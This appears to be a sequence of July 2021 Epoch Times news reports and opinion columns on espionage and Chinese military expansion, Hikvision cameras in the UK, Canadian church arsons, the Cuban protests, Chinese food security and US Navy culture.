British spies say China and Russia have each sought to steal commercially sensitive data and intellectual property as well as to interfere in politics and sow misinformation.

McCallum, a career spy, said the whole country should be alert to the threat of foreign spying.

We see the UKs brilliant universities and researchers having their discoveries stolen or copied; we see businesses hollowed out by the loss of advantage theyve worked painstakingly to build, he said.

Given half a chance, hostile actors will short-circuit years of patient British research or investment. This is happening at scale. And it affects us all. UK jobs, UK public services, UK futures.

MI5 began as a counter-intelligence service in 1909, first focusing on the threat from Germany and then, after World War Two, focusing on the Cold War threat posed by the Soviet Unions agents.

McCallum will also speak about the dangers emanating from Northern Ireland, far-right groups, and the withdrawal of forces from Afghanistan.

Guy Faulconbridge
California Gov. Newsom Signs $100 Billion Comeback Plan, Including More Stimulus Checks

California Gov. Gavin Newsom has signed a $100 billion Comeback Plan budget package that includes tax relief and stimulus checks to help state residents recover from the pandemic and resulting lockdowns.

The package, SB 139, will provide financial assistance to Californians who need it the most, calling it the largest recovery plan in the nation, the Democrat told reporters on July 13.

Harnessing the largest surplus in state history, were making transformative investments across the board that will help bring all our communities roaring back from the pandemic and pay dividends for generations to come, Newsom said at the Barrio Action Youth & Family Center in El Sereno.

It provides immediate cash relief to middle-class families and businesses hit hardest by the pandemic and lockdowns, creating the biggest state tax rebate in U.S. history and the largest small-business relief package in the nation, Newsoms office said in a statement.

Specifically, the package would send funds to small businesses and renters, and to Californians who have an annual income of $75,000 or less.

It also invests roughly $12 billion over two years to tackle the states homelessness crisis, Newsoms office said. In addition, nearly two-thirds of Californians will now qualify for a stimulus check of $600; qualified families with children will receive an additional $500.

The administration noted that the state offers the largest renter assistance package in the country, with $5.2 billion set aside to assist low-income renters and landlords, covering 100 percent of back rent and all prospective rent for several months into the future. A further $2 billion is available for past-due water and utility bills and funds for tenant legal assistance.

The package also provides $4 billion in direct grants to the states small businesses, on top of the $6.2 billion in tax relief aimed to help small-business owners. A $120 million tax credit grant program will also be created to incentivize businesses to relocate to California, Newsoms office said.

Through this comprehensive plan, the state is taking on the inequities laid bare by the pandemic, expanding our support for Californians facing the greatest hardships, increasing opportunity for every child, confronting homelessness head-on and doubling down on our work to build resilience against the climate change impacts that threaten Californias future, Newsom said in a statement.

The governor, who is facing a recall election on Sept. 14, said at the El Sereno event that hes mindful about the stresses and challenges that the state still faces, but that he is absolutely confident and enlivened by what this blueprint, what this comeback plan here in the state of California offers 40 million Californians strong into the future.

Hours earlier, Los Angeles Mayor Eric Garcetti said the funds will help the state expand and implement programs that will have lasting, positive impacts on our city and our communities.

Thanks to our Los Angeles legislative delegation, our city secured some big wins. I want to thank our delegation and Governor Newsom for the important resources that will be coming to our community to address homelessness, housing, economic recovery, climate change, and more, the mayor said.

Newsom said, California is not only back, but California is once again asserting itself as the temple of the American economy.
China Targets Military Base on Pacific Island for Development

At the center of the Pacific Ocean, there is a small 3.6 square mile island called Canton (Kanton), where a dilapidated airstrip once served as an important transit and supply center for the United States during World War II. After being abandoned for over 40 years, the island has become the target of the CCPs expansion.

Canton Island is made up of coral atolls and belongs to the Republic of Kiribati. During World War II, Canton Airport served as an airbase of the U.S. Army, and U.S. bombers utilized its runways as part of the air ferry route from Hawaii to the South Pacific.

Kiribati is an island nation spanning 32 atolls in the Pacific Ocean covering more than 1.4 million square miles.

The Kiribati parliamentary disclosed in May that the CCP had explored a plan to rehabilitate the derelict airstrip and bridge on Canton Island and restore the remaining U.S. military base.

Although the Kiribati government stated that the facility upgrade program is for civilian purposes of promoting transportation and tourism on the island, hardware facilities will also meet military needs, making the program controversial.

The runway on Canton Island is approximately 6,200 feet long, and if repaired and upgraded, the total length of the runway might exceed 7,800 feet. The U.S. military believes that once the existing runway is upgraded, it will be capable of meeting the requirements of combat aircraft, even large transport aircraft, maritime patrol aircraft, and bomber aircraft. Thats why the CCPs plan to expand the Canton airport has caught serious attention.

Number One Challenge

The U.S. Defense Directive on China Task, established in February, described Beijing as the number one pacing challenge to Washingtons strategic pace. China poses the greatest long-term challenge to the United States, also concluded the Pentagons 2022 budget proposal.

The sensitive location of Canton Island underscores its strategic importance in the U.S.-China struggle for Pacific domination.

If Chinese military forces intrude on Kiribati and develop Canton Island as an army base, the small island, which is less than 2,000 miles southwest of Hawaii and 4,300 miles from the U.S. West Coast, could become a thorn in the side of the U.S. Pacific fleet. The CCP could also exploit the geographic location to surveil the U.S. military. The tiny island could also be a direct threat to U.S. and allied forces in Guam.

If it evolves into a CCP military presence in the heart of the Pacific, such a facility would have almost zero chance of survival in a hot war. The economic benefits to Kiribati would be nothing compared to the dangers it could pose.

Its a civilian project but we are worried about the main intention of China, said Tessie Lambourne, the leader of the main opposition party of Kiribati, SCMP reported. Worried about Beijing having a military purpose, she asked why the government had not clarified how CCP would fund the project: We know that Chinas intention is not purely to help developing countries like ours but to help us in a way that in the end will help them with their interests.

Details on Beijings plans to renovate and expand this remote and worn airport have not been made known to the Kiribati public and opposition party. Under the guise of economic development and climate change adaptation, the project could provide Beijing with the equivalent of an immobile aircraft carrier capable of supporting the deployment of combat aircraft and a full range of military operations, including surveillance and potential combat operations.

The CCPs Global Ambitions

Early in 2017, Beijing acquired its first overseas military base in Djibouti. To get the support of the host government, the CCP bought off the local elite through a strategic investment portfolio and diplomacy.

The CCPs global expansion ambitions have also manifested in Indo-Pacific countries. For example, starting from 2020, the U.S. government has been aware of the CCPs interest in establishing a military outpost at Cambodias Ream Naval Base in the Gulf of Thailand.

Satellite imagery shows that construction at Ream Naval Base is progressing quickly. However, in June, when U.S. Deputy Secretary of State Wendy Ruth Sherman visited Phnom Penh, some U.S.-funded construction facilities had been demolished. Since then, U.S. military attaches in Cambodia were denied access to some regions of Ream Naval Base during Cambodian government-assisted observations of the base. The lack of transparency on the Cambodian side has heightened suspicions that the CCP is involved in upgrading the Ream base, probably enabling Beijing to project its power into the Indian Ocean.

Along with Cambodia, the United Arab Emirates (UAE) is also where Beijing seeks to establish a military base. Back in 2018, the UAE and the CCP signed a $300 million agreement to upgrade the cargo terminal of COSCO Shipping in the Khalifa port of Abu Dhabi. The cargo terminal is near the Al-Dhafra airbase, where 3,500 U.S. military personnel are stationed; and the port of Jebel Ali in Dubai, where the majority of visits by U.S. Navy ships occur outside the United States.

The establishment of a base in the UAE would greatly expand the presence of the CCPs forces in and around maritime chokepoints, including the Strait of Hormuz and the southern entrance to the Red Sea. The UAE base could also become part of a chain of other potential CCP military bases in the Indian Ocean, including Pakistan and Burma.

In May, U.S. intelligence agencies monitored two CCP planes that unloaded unidentified cargo in the UAE, WSJ reported. Some U.S. officials believe the CCP intends to establish a naval base in the UAE. In addition, intelligence reports indicate that Beijing has discussed dispatching hundreds of military personnel to the UAE. A 2020 Pentagon report (pdf) on Chinese military expansion noted that the CCP is likely already considering increasing overseas military logistics facilities, and the UAE is one of the desiderate countries. Their suspected interactions might undermine the U.S. sale of F-35 fighter jets to the UAE, and Washington is concerned that the UAE could share sensitive fighter technology with the CCP.

In early May, Stephen Townsend, the top general for U.S. Africa Command, warned about Beijings desire to build an important naval port on Africas Atlantic coast to accommodate submarines or aircraft carriers, increasing the threat to the U.S. military in the Atlantic. Townsend said the CCP is already reaching out to southern African countries from Mauritania to Namibia to build naval facilities. If realized, this plan would allow the CCP to provide base support for its naval forces in the Atlantic.

The CCP sets up barriers to U.S. global military strategy by developing overseas military bases with the excuse of economic and civilian construction, therefore the issue cannot be handled alone by the U.S. Department of Defense.

In the Indo-Pacific, the Middle East, Africa, and even the Arctic, the CCPs global military base expansion is evident and showing signs of further growth. However, the essence of stopping the CCPs global expansion ambitions is not a matter of confrontation over military strength but of influence over the local host governments. Weakening the host countries acceptance of the CCP building bases or breaking their military ties with the CCP is an area in which the United States could leverage resource advantages over the CCP.
People's Liberation Army (Navy) General Intelligence Ship Tianguanxing (AGI-797) transits through the Arafura Sea on the morning of July 11, 2021 (Supplied: Australian Department of Defence)

Chinese Spy Ship Heading to Queensland Coast as US-Australian Wargames Begin

Defence forces are monitoring a Chinese surveillance vessel that looks set to arrive off the coast of the northern Australian state of Queensland as wargames involving U.S. and Australian defence forces begin.

The Tiangwangxing, which translates to Uranus, is scheduled to arrive July 16 and will park itself just inside Australias Exclusive Economic Zoneoutside of Australias territorial waterswhere according to international maritime law it has legal grounds to remain.

Prime Minister Scott Morrison said Australia respected freedom of navigation but was very wary of the ship.

Theyre in an area where theyre allowed to be and we know theyre there and were keeping a close eye on it, he told Sydney radio station 2SM on July 14.

When pressed on whether he was concerned about the presence of the vessel, Morrison responded, We wouldnt be watching them if we werent.

Of course we watch them. Were aware of that. And theyre watching us.

Defence Minister Peter Dutton told ABC, We are aware that the Peoples Liberation Army (Navy) general intelligence ship Tianwangxing is approaching Australias east coast via the Torres Strait.

We have been monitoring its approach to Australia for several days as part of Australias broader surveillance effort, he added. We fully expected a ship of this class to arrive in our region during the exercise and have planned for its presence, as we do for every iteration.

Peoples Liberation Army (Navy) General Intelligence Ship Tianguanxing (AGI-797) transits through the Arafura Sea, approximately 40 nautical miles north of the Tiwi Islands on July 10, 2021. (Supplied: Australian Department of Defence)

The presence of similar vessels did not detract from Talisman Sabre 2017 or Talisman Sabre 2019, and we are confident that it will not impede this year.

Talisman Sabre is the largest bilateral training activity between the Australian Defence Force (ADF) and the United States military.

Occurring every two years, the wargames involve training in logistics, amphibious landings, ground force manoeuvres, urban operations, as well as air and maritime operations.

Talisman Sabre also takes place across most of the state of Queensland and sees military personnel test out the latest technology and military hardware.

Naval ships from the Peoples Liberation Army have become a regular presence at each exercise.

The Tianwangxing is a Type 815 vessel and is fitted with advanced electronic sensors that can intercept and record U.S. and Australian communications for analysis.

Type 815 vessels have also been used in several surveillance missions, including patrolling the waters around U.S. bases in Guam and Hawaii and monitoring testing of the U.S. THAAD anti-ballistic missile defence system near Alaska.

Revelations around Tianwangxing emerged just a day after the Chinese Embassy in Canberra took issue with the Australian Foreign Minister issuing a statement recognising the fifth anniversary of the Arbitral Tribunals unanimous decision that the Chinese Communist Partys claims to the South China Sea were unfounded.

According to the statement the Tribunal found that Chinas claim to historic rights or maritime rights and interests established in the long course of historical practice in the South China Sea were inconsistent with the UN Convention of the Law of the Sea (UNCLOS) and, to the extent of that inconsistency, invalid.

UNCLOS sets out the legal framework within which all activities in the oceans and seas must be carried out, she added.

The Australian government has consistently called on the parties to the arbitration to abide by the Tribunals decision, which is final and binding on both China and the Philippines.

The Embassy said it deplored the remarks and called on Australia to stop any political manipulation.
Ashes and debris are all that remain after a fire at the Holy Trinity Roman Catholic Church near Orolow, Sask., on July 8, 2021. (The Canadian Press/Kayle Neis)

Church Burnings Could Be Deemed Acts of Terrorism, Says Former CSIS Specialist

A former security intelligence specialist says the recent spate of fires that demolished or partially damaged churches across the country are likely deliberate, which could constitute acts of terrorism under Canadian criminal law.

As somebody who worked in counterterrorism in Canada for the better part of 15 yearsIve written six books on the topica very strong case could be made that these are actually acts of terrorism, Phil Gurski, president of Borealis Threat and Risk Consulting, told The Epoch Times.

It certainly isnt beyond the realm of possibility that if in fact its deliberate, and it seems to be, and its a political message, which I think it seems to be, it seems to qualify as an act of terrorism under Canadian law.

Im just going on Canadian Criminal Code definitions, and to me I think a case could be made there, adds Gurski, a former terrorism specialist with the Canadian Security Intelligence Service.

An act of terrorism includes the use of violence that causes substantial property damage, whether to public or private property, if such damage is likely to also result in harming public safety, according to the Criminal Code section 83.01.

The arson and other acts of vandalism against Christian churches began after the discovery of unmarked graves at former residential schools.

The Tkemlups te Secwepemc First Nation announced in May that they had found 215 graves of indigenous children using ground-penetrating radar at a former residential school in Kamloops. This was followed by 751 unidentified graves found by the Cowessess First Nation in Saskatchewan on June 24, while another 182 unmarked graves were found by the Lower Kootenay Band in B.C. a week later.

The Sacred Heart Mission Church on Penticton Indian Band land in B.C. was set alight on June 21, followed by another fire at St. Gregorys Church on Osoyoos Indian Band land hours later. Both churches were burned to the ground and police are treating the fires as suspicious.

Fires and acts of vandalism targeting churches also occurred in other provinces, including Alberta, Ontario, and Saskatchewan. According to a list published by True North on July 12, some 45 Christian churches have been vandalized or burned down since the announcement of the discovery of the Kamloops graves.

As to who is behind the fires, Gurski sees three possibilities.

I can see a lone actor. I can see small groups of people who happen to share certain belief systems. And  its never out of the realm of possibility that a group somewhere else could be egging somebody on, urging somebody on to take some action in this regard, to send a message about the  residential schools, he said.

The RCMP has charged a youth with arson in connection the fire that burned down Our Lady of Mercy, an abandoned Catholic church on Kehewin Cree Nation land in Bonnyville, Alberta, on July 9. The youth was released from custody and is scheduled to appear in court on Sept. 21. Other cases remain unresolved.

Gurski notes that the vandalism of churches is not being as strongly condemned as it should be. What concerns me is a lack of consistency in the government position as to what to call these [acts], he said, adding that if a mosque was burned or a synagogue was burned, you can imagine what a politician would say.

In the reactions from politicians and officials to the attacks against churches, youre getting a bit of, well, this is wrong, but I understand why theyre doing it, he said.

He adds that terrorism is a very charged emotional term that politicians will also avoid in certain cases.

I find that a lot of people will throw the T word around, terrorism, for certain things but they wont throw it around for other things, he said.

Down the road, if arrests are made and the determination is made as to who is behind it or why theyre behind it, this could qualify as a terrorism charge. No politician is going to touch that with a 10-foot pole right now because it really is seen as too sensitive.
A Hikvision camera is presented at an electronic mall for selling in Beijing, China on May 24, 2019. (Fred Dufour/AFP via Getty Images)

Concerns Raised Over Chinese CCTV Cameras in UK

Leaked video footage of ex-Health Secretary Matt Hancocks affair has raised questions over the security of CCTV cameras on the Parliamentary Estate.

An investigation was launched by the Department of Health after Hancock was caught embracing his aide Gina Coladangelo in his office on Victoria Street, London, in May, leading to his resignation.

Questions have since been raised about the security of CCTV cameras on the Parliamentary Estate, which consists of the Houses of Parliament and does not include Hancocks office.

Lord Alan West, who was security minister under Gordon Brown and formerly First Sea Lord, has raised this with the House of Commons, asking whether any of the cameras in Parliament were made by controversial Chinese firm Hikvision.

Lord Alan West speaks in a debate in the House of Commons, questioning Chinese Hikvision equipment installed in the UK and the CCTV cameras in the Parliament Estate on June 29, 2021. (Screenshot/ UK Parliament)

I ask the Minister whether any of these Hikvision cameras has been fitted anywhere on the Parliamentary Estate, as was originally the plan. Or were plans altered after my warning of the dangers, on the Floor of this House, on 18 October 2018?

Hikvision has close connections with the Chinese Communist Party and its military.

The U.S. Federal Communications Commission voted unanimously last month to advance a ban on Chinese telecommunications networks companies deemed national security threats like Huawei, ZTE, and Hikvision.

The tech giant had been accused of making cameras that abet the CCPs campaign against Uyghur Muslims.

It signed deals worth 1.9 billion yuan ($293 million) with police in Xinjiang between 2016 and 2017, where Uighur minorities are under invasive surveillance and security measures.

Lord West told NTD News that he became aware about the plans to install more CCTVs in Portcullis House and other parts of Parliamentary Estate.

Lord Alan West, who was security minister under Gordon Brown and formerly First Sea Lord, speaks to NTD in an online interview on July 5, 2021. (Screenshot/ NTD)

And I looked into this and it became clear that actually, they were going to use Hikvision cameras. And I was very concerned about using cameras effectively from a Chinese company. Because with the forthcoming Internet of things, and 5G, these things become enabled. And these cameras can do all sorts of things, they are actually able to record data.

Yes, theyre filming things, they can zoom in and collect a number thats being dialed on a phone, they can look at passwords, they can record and hold that recording, they can do facial recognition.

Lord West added he began to think about the issue again following the leaked footage of Hancock.

The images had captured the former Health Secretary kissing and embracing his aide Coladangelo, a married mother-of-three, in breach of his own COVID-19 restrictions. Hancock resigned from his post days later, with Sajid Javid taking up the mantle.

While Lord West didnt get a clear answer in the Lords, Commons authorities later told NTD News that no aspect of Parliaments CCTV system is currently supplied by Hikvision. They added that no Chinese firms installed or run any cameras on the Estate.

Matt Hancocks affair was caught on camera in his office in Victoria Street, which is outside of Parliament Estate.

The department of health responded to The Epoch Timess enquiry with an email statement:

The government takes the security of its personnel, systems, and establishments very seriously and has robust measures in place, but we do not comment on specific security arrangements or procedures.

It remains unclear which make of security camera took the leaked footage.

However, at least 28 London Councils own technology made by Hikvision, according to recent data.

Data also shows that 1.7 million Hikvision surveillance camera networks are at work outside of China.

More than 96,000 of these are in the UK, and more than 330,000 in the United States.

Lord West said, there is a security aspect even in Council offices, you know, there is a security aspect if all that data is going to be available, be used.

We see within China, you know, they use facial recognition and they use this information on a grand scale to control their population.

When one looks at the fact that Hikvision are involved with the Chinese state in terms of monitoring Uyghurs and monitoring their population, that is a real concern. It needs to look at it very carefully.

NTD reporter Jane Werrell contributed to this report.
Cuban-Americans Call for an End to the Countrys Dictatorship

As Cubans take to the streets demanding freedom, expats in Orange County, Calif. are calling for an end to the countrys totalitarian dictatorship.

Information is hard to get out of Cuba [right] now, Santiago Martin told The Epoch Times. The government has shut down means of communication, shut down cellphone coverage, Internet.

Martin fled Cuba with his family in the 1960s, at the beginning of the communist regime.

Today, communist ideologies continue under current Cuban President Miguel Diaz-Canel.

Thousands of Cubans gathered July 11 in a number of cities to protest against human rights abuses, a lack of freedom, and a worsening economic situation in the communist-ruled country.

Videos uploaded to social media appear to show demonstrations in a number of towns and cities, including the capital, Havana, on July 11. Protesters, chanting in Spanish, said they werent afraid of the regime led by Canel, and said they wanted access to COVID-19 vaccines and an end to the regime.

It comes amid reports of gas, electricity, and vaccine shortages across the Caribbean island nation.

I think what youre seeing now in Cuba is an escalation of pressure year-after-year because of COVID, Martin told The Epoch Times. The pressure has gotten out of control. The government hasnt been able to get those tourist dollars they depend on. Youve got a shortage of food. Youve got people dying of COVID. Its a total disaster.

He continued, COVID is rapid in Cuba, and the government lies about the numbers. Theyre not providing vaccines, and they dont want to take help from foreign countries.

Santiago and his wife, Isel, are staying in contact with their loved ones in Cuba while tracking the unfolding events on TV.

However, Cubas oppressive reign has shut down the Internet to many residents causing the news received to be sporadic, Santiago said. The last he heard from a family member was on June 11.

A Troubled Past

Born in Camaguey, Cuba in 1961, Martin was rounded up along with his mother at gunpoint when he was just a toddler.

Within moments, Martins mom was taken away as a prisoner with other women, and his dad was sent to a political prison. For about five years, Martin was cared for by his aunt and uncle.

While at school, he lived in fear of what he said outside his home and was forced to participate in communist activities.

In public, Martin said he was treated poorly due to his parents being against Fidel Castros regime.

Prior to the beginning of Castros regime in 1959, Martin said that his parents despised former leader Fulgencio Batista, and supported Castro before realizing his campaign was run on false promises.

Under Batista, Martins mom was able to obtain a masters degree and became a school teacher, and his aunt was able to study pharmacy in the 1930s before their lives changed under Castro.

Batista was a dictator, but he was replaced by an even worse dictator. What happened with Castro was all a lie, Martin said. He never had free elections. He went back on his word. He started executing people around him that could give him any type of challenge. He had a crazy repressive regime, and that continues to this day.

In 1968, Martin was reunited with his family through the help of a Catholic church. Due to lack of evidence held against him, his father was released from prison.

His family quickly worked to get paperwork to flee the country. Before being eligible to leave, Martins family was required to participate in state-led inventories that allowed officials to enter a home and see everything you owned.

Aside from forcing Cubans to participate in inventories, government officials also required the boys and men to wear suits in order to leave the country.

My parents were struggling [they] had to scramble to find suits for me and my brother because that was part of the propaganda, that all their Cuban men, whether they were boys or adults had to leave with suits, Martin said. That way when they get off the planes people could point to them and say, Those rich Cubans.

To be permitted to leave the country, Martins aunt made her sons suits out of tablecloths.

In 1968, Martin and his family left Cuba and moved to Spain, where they received sponsorship from his uncle in Kentucky.

Current Events

Orange County El Cubano Restaurant owner Luis Navarro fled Cuba in 1994, but his family continues to live in Havana.

Navarro escaped the country amid the Cuban Raft Exodus when Castro opened the boarder and allowed for people to leave. More than 35,000 Cubans quickly excited.

With the current uprising, he expressed his frustration with countrys treatment of civilians stating that they are killing those on the street with no weapons.

Its a point of desperation on the island right now with no food, no nothing, he said while explaining how residents are left without water, electricity, or internet. They want to impose fear to the people the Cuban regime is based on fear.

The restaurant owner explained that Cubans are forced to obey the government otherwise consequences will be imposed.

For more than 60 years, Cubans have been through manipulation and even members of the communist party have had enough, Navarro said. Cubans are demanding democracy and freedom that theyve been denied.

Navarro last heard from his niece on July 13, as the Internet connection continues to be unstable.

Martin said he also informed that policemen are being ordered to dress like civilians and beat protestors, so it looks like its not all the people in Cuba that are against the communist regime.

Cubans have been beat down for 60 years, he said. If theres going to be an overthrow of the government, its going to require people within the government to switch sides for these guys to give up power, its going to be very ugly. Theres going to have to be a lot of bloodshed. Theyre not going to give up easily.
Cuban Freedom Rebellion Shakes Cuban, Chinese, and American Socialist Elites

Commentary

The Cuban people are once again rebelling against the communist prison state Fidel Castro established after he seized power in 1959.

Large demonstrations have occurred in over 30 towns and cities, with Havana the focal point. Haphazard reports of protests, arrests, and confrontations flood North American and European media, but the reports make it clear thousands of Cubans are in the streets demanding food, medicine, and freedom. The demonstrators also accuse the regime of utterly mishandling the COVID-19 pandemic.

Moreover, a large and angry segment of the Cuban population supports the demonstrators and their insistent demands for basic survival necessities and competent government.

Does an overwhelming majority of the population support economic and political change?

My guess is yes, because the Fidelista regimes reaction indicates it fears the people en masse. Like the Chinese Communist Partys reaction to Tiananmen Square 1989s demands for democracy, Cubas communist elites know permitting freedom means an end to their communist regime and their luxury lifestyles.

Remember, Tiananmens demonstrators built a ten-meter-tall papier mache statue they called the Goddess of Democracy. On June 4, 1989, the CCP government demolished the statue and murdered demonstrators by the thousands.

Cubas communists know repression can work. However, the Cuban thugs are not anywhere near as powerful as their Chinese compadres. The United States is just 90 miles away.

On July 12, the 21st century Castro dictatorship, now led by President Miguel Diaz-Canel, blocked several social media platforms, including Facebook and Instagram. On July 13 one source reported the regime had imposed a partial internet blackout.

The communist regime believes the protests and the demands are coordinated. By whom? Cubas foreign minister claimedwithout evidencethe United States had financed the protests. Typical communist narrative warfareblame the United States. The CCP blamed the United States for inciting Tiananmens and Hong Kongs pro-democracy protests.

Fidel Castro had charisma. International progressive leftistssad cases like Senator Bernie Sanders (I-Vt.) and Representative Alexandria Ocasio-Cortez (D-N.Y.)still venerate Fidel and excuse the regimes vicious tyranny.

Diaz-Canel has minus personality, so 2021s regime suffers from a severe charisma deficit it cannot blame on America. He just isnt capable of jiving mass audiences with hope and utopian rhetoric. However, he is as long winded as Fidel. The BBC reported he gave a four-hour-long televised rant calling protestors counter-revolutionaries. He stated, The order of combat is given, the revolutionaries take to the streets.

More narrative warfare: Revolutionaries translated from Commie propaganda means armed thugs the regime provides with food and toilet paper. Diaz-Canel was ordering his security forces to attack the demonstrators. He hopes repression works.

Theres an argument made that since the late 1960s, when it became apparent Castros Cuba was a satellite of the Soviet Union, significant numbers of Cubans have been in constant rebellion.

Defecting athletes would receive some media attention. The most prominent rebels were and still are those who take to boats and rafts and try fleeing to elsewhere in the Caribbean, 21st century Chavista Venezuela excepted. Cubans know Nicolas Maduro commands another communist hellhole, though one buoyed by oil income and Russian and Iranian gunrunning.

Mass boat lifts occurred in 1980 and 1994. They were rebellions of a sort, with thousands of Cubans rejecting Castros self-proclaimed workers paradise and becoming refugees.

Many died fleeing. On social media, Senator Marco Rubio (R-Fla.) pointed out that on July 13, 1994 the Cuban coast guard deliberately sank a tugboat carrying Cubans fleeing the island and then refused to rescue the passengers. The Cuban attack killed 41 Cubans seeking freedom. Rubio followed that with video of a 2021 protestor shot by regime forces arriving at a hospital in a horse-drawn ambulance.

Right. Horse-drawn. Under the leadership of Fidel and his brother, Raul, Cuban agriculture has moved from tractors to oxen, transportation from buses to bicycles. The Cuban Army became a larger presence in the economy. The same thing has happened with Chinas Peoples Liberation Army.

Cubas July 2021 demonstrations may not topple the regime, but the protests indicate Cuba is on the verge of a cultural and political rebellion against Marxist tyranny.

Austin Bay is a colonel (ret.) in the U.S. Army Reserve, author, syndicated columnist, and teacher of strategy and strategic theory at the University of TexasAustin. His latest book is Cocktails from Hell: Five Wars Shaping the 21st Century.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Yu Wuyang, an ethnic Dai farmer, picks corn in her cornfield at Nuodong village in Yunnan Province, China on July 13, 2019. (Aly Song/Reuters)

Dealing With Food Shortages, China Investigates Senior Officials

Food shortages in China have scared the ruling communist regime, which announced on July 13 that two officials responsible for the nations food security are under investigation.

On July 9, leader Xi Jinping ordered the regime to make food supply concerns a national security issue while recent data has shown that China has been increasing grain imports which has pushed up global prices, impacting the food security of many poor regions.

Forty-five countries, including 34 in Africa, nine in Asia, and two in Latin America and the Caribbean, are in need of external assistance for food, reported the United Nations Food and Agriculture Organization (FAO) on July 8.

As for China, its food shortage issues may worsen in the near future with heavy rain recently causing flood damage to farming areas in more than ten provinces including southwestern Sichuan and central Henan.

Summer is a critical period for Chinese agriculture as the crops need solid growth in the lead up to harvesting in autumn. The subsequent yield of the autumn harvest contributes to three fourths of Chinas grains.

Starting in July, Chinese state-run media have been quoting officials who claim that the upcoming harvest could feed Chinas 1.4 billion people. Based on past experiences, such propaganda efforts typically have many Chinese presuming the opposite will occur and that the harvest will instead be poor.

The remains of a crop devastated by fall armyworm caterpillars in Yunnan Province, China, on July 13, 2019. (Aly Song/Reuters)

Big Imports

While China has been purchasing grains from the global market it has been importing a large number of seeds (for potato, broccoli, corn, soybean etc) and breeding animals (pigs, chickens etc).

Chinas customs said July 13 that the country imported 84.36 million metric tons of grain in the first six months of 2021 valued at US$36 billion, which is 67 percent more than what China spent on imported grains in the first half of last year.

FAO reported on July 8 that Chinas grain purchasesincluding wheat, rice, corn, barley, sorghum and soybeanswill cause global food prices to rise for the next 12 months.

A video clip of Chinese leader Xi Jinping seen on the outside of a police patrol station in Beijing on Nov. 2, 2020. (Greg Baker/AFP/Getty Images)

Chinas Food Security

Xi Jinping reportedly spoke with senior Chinese officials about his food supply concerns during a meeting with the Central Committee for Comprehensively Deepening Reform on July 9.

[Food security is] the foreseeable and unforeseen stormy waves that we will face, Xi said. This is a tough and protracted battle that we are required to maintain [a] tenacious fighting spirit and strategic determination.

Xi said seeds and breeding animals are the key to modern agriculture, but China is reliant on imports in these areas. Although other countries wont ban such exports to China, Xi and his regime are concerned that they could be used as leverage by other nations.

[We must] raise the importance of seed and breeding animal security, to consider them as strategic national security issues, Xi ordered. We must integrate the resources [all over the country] to solve the toughest problems.

Xi said the development of an agricultural cultivating center producing seeds in topical Hainan Province needed to be sped up.

Food security is more important than any other time in the past [for China], Xi said. Its more urgent than ever to ensure that we own the seeds and breeding animals.

On July 4, state-run Xinhua published an article, which started with a quote from Xi: All Chinese people in my generation have memories that we didnt have food to eat, or didnt have enough food to eat.

The article urged all Chinese to save food and to develop Chinas agriculture.

A Chinese farmer grazes his livestock on his dried-up field after an extended drought in Fuyuan, Yunnan Province, in 2012. (STR/AFP/Getty Images)

Sacked Officials

Recent investigations into officials further reveals how Chinas food security issues are a major concern for Beijing.

The regime announced on July 13 that Xu Ming, a retired deputy director of the Chinese State Administration of Grain, was under investigation.

Xu is suspected of seriously violating discipline and laws, and is under investigation and inspection, the regimes anti-corruption watchdog, the Central Commission for Discipline Inspection, said in its announcement.

Xu, 63, worked as the deputy director of the government agencywhich is in charge of the strategic reserves of corn, wheat, rice, oilseeds, natural gas and petroleumfrom March 2013 to March 2018 when he retired.

In another case, the Heilongjiang Provincial Commission for Discipline Inspection announced on Tuesday that Shi Zhonghua, former chairman and party leader of state-run Beidahuang Grain Group, was under investigation because he suspected of seriously violating discipline and laws.

Shi, 59, was chairman and party boss of the group, which is Chinas largest agricultural commodity grain production base, from 2013 to 2019, and he was the president of the group from 2009 to 2013. Its unclear why he was dismissed from the position in April 2019.
U.S. Navy sailors prepare to take down the flag on the flight deck of the USS Nimitz aircraft carrier in Coronado, Calif., on Jan. 18, 2020. (Mario Tama/Getty Images)

Declining Navy Culture Is a Cautionary Tale for Wokening America

Commentary

Sometimes I think we care more about whether we have enough diversity officers than if well survive a fight with the Chinese navy.

Its criminal. They think my only value is as a black woman. But you cut our ship open with a missile and well all bleed the same color.

These are the words of an active duty lieutenant in the U.S. Navy. They were recorded in a disturbing new report conducted by retired officers Lieutenant General Robert E. Schmidle of the U.S. Marine Corps, and Rear Admiral Mark Montgomery of the U.S. Navy, at the direction of Republican Senator Tom Cotton and Representatives Jim Banks, Dan Crenshaw, and Mike Gallagher on the apparently flagging fighting culture of the Navys surface fleet.

The lieutenants words capture the looming disaster to American life and limb posed by the cult of Diversity, Equity, and Inclusion conquering every aspect of societyincluding our national security and intelligence apparatusas the Woke anti-cultural revolution rages on.

They are particularly poignant because they come at a time when America faces its most formidable foreign adversary since the Soviet Uniona Communist China aggressively pursuing global dominance, armed with a military that increasingly rivals and in some areas eclipses our own, led by a navy boasting a fleet larger than ours that is central to its regional imperial ambitions.

As a recent report Congressional Research Service Report notes:

Chinas navy is viewed as posing a major challenge to the U.S. Navys ability to achieve and maintain wartime control of blue-water ocean areas in the Western Pacificthe first such challenge the U.S. Navy has faced since the end of the Cold Warand forms a key element of a Chinese challenge to the long-standing status of the United States as the leading military power in the Western Pacific. Some U.S. observers are expressing concern or alarm regarding the pace of Chinas naval shipbuilding effort, particularly for building larger surface ships, and resulting trend lines regarding the relative sizes Chinas navy and the U.S. Navy.

While the U.S. fleet dwarfs that of Chinas in terms of tonnage, as a former senior national security official recently counseled in a conversation about this issue, we must be cognizant of the old Stalinism that quantity is a quality all of its own.

Setting aside the U.S.-China contest, the strength of Americas military broadly, and its navy in particular, is ultimately a function of capability and will. Manifestly, as in any field, success will be determined by devotion and adherence to a mission.

In the Navys case, as the report notes, the mission must be Finding and sinking enemy fleets. To successfully pursue a mission, any organization must be dedicated to cultivating excellence in part through rewarding on the basis of merit, fostering dynamism through encouraging innovation and experimentation, and of course deploying resources accordingly.

That interviewees across ranks questioned the commitment of the Navy to its central cause, with one noting, I didnt really feel that fighting spirit in the surface Community; and another that weve got so many messages about X, Y, Z appreciation month, or sexual assault prevention, or you name it. We dont even have close to that same level of emphasis on actual warfighting; and still another that The Navy treats warfighting readiness as a compliance issue, adding You might even use the term compliance-centered warfare as opposed to adversary-centered warfare or warfighter-centered warfare. This portends failure.

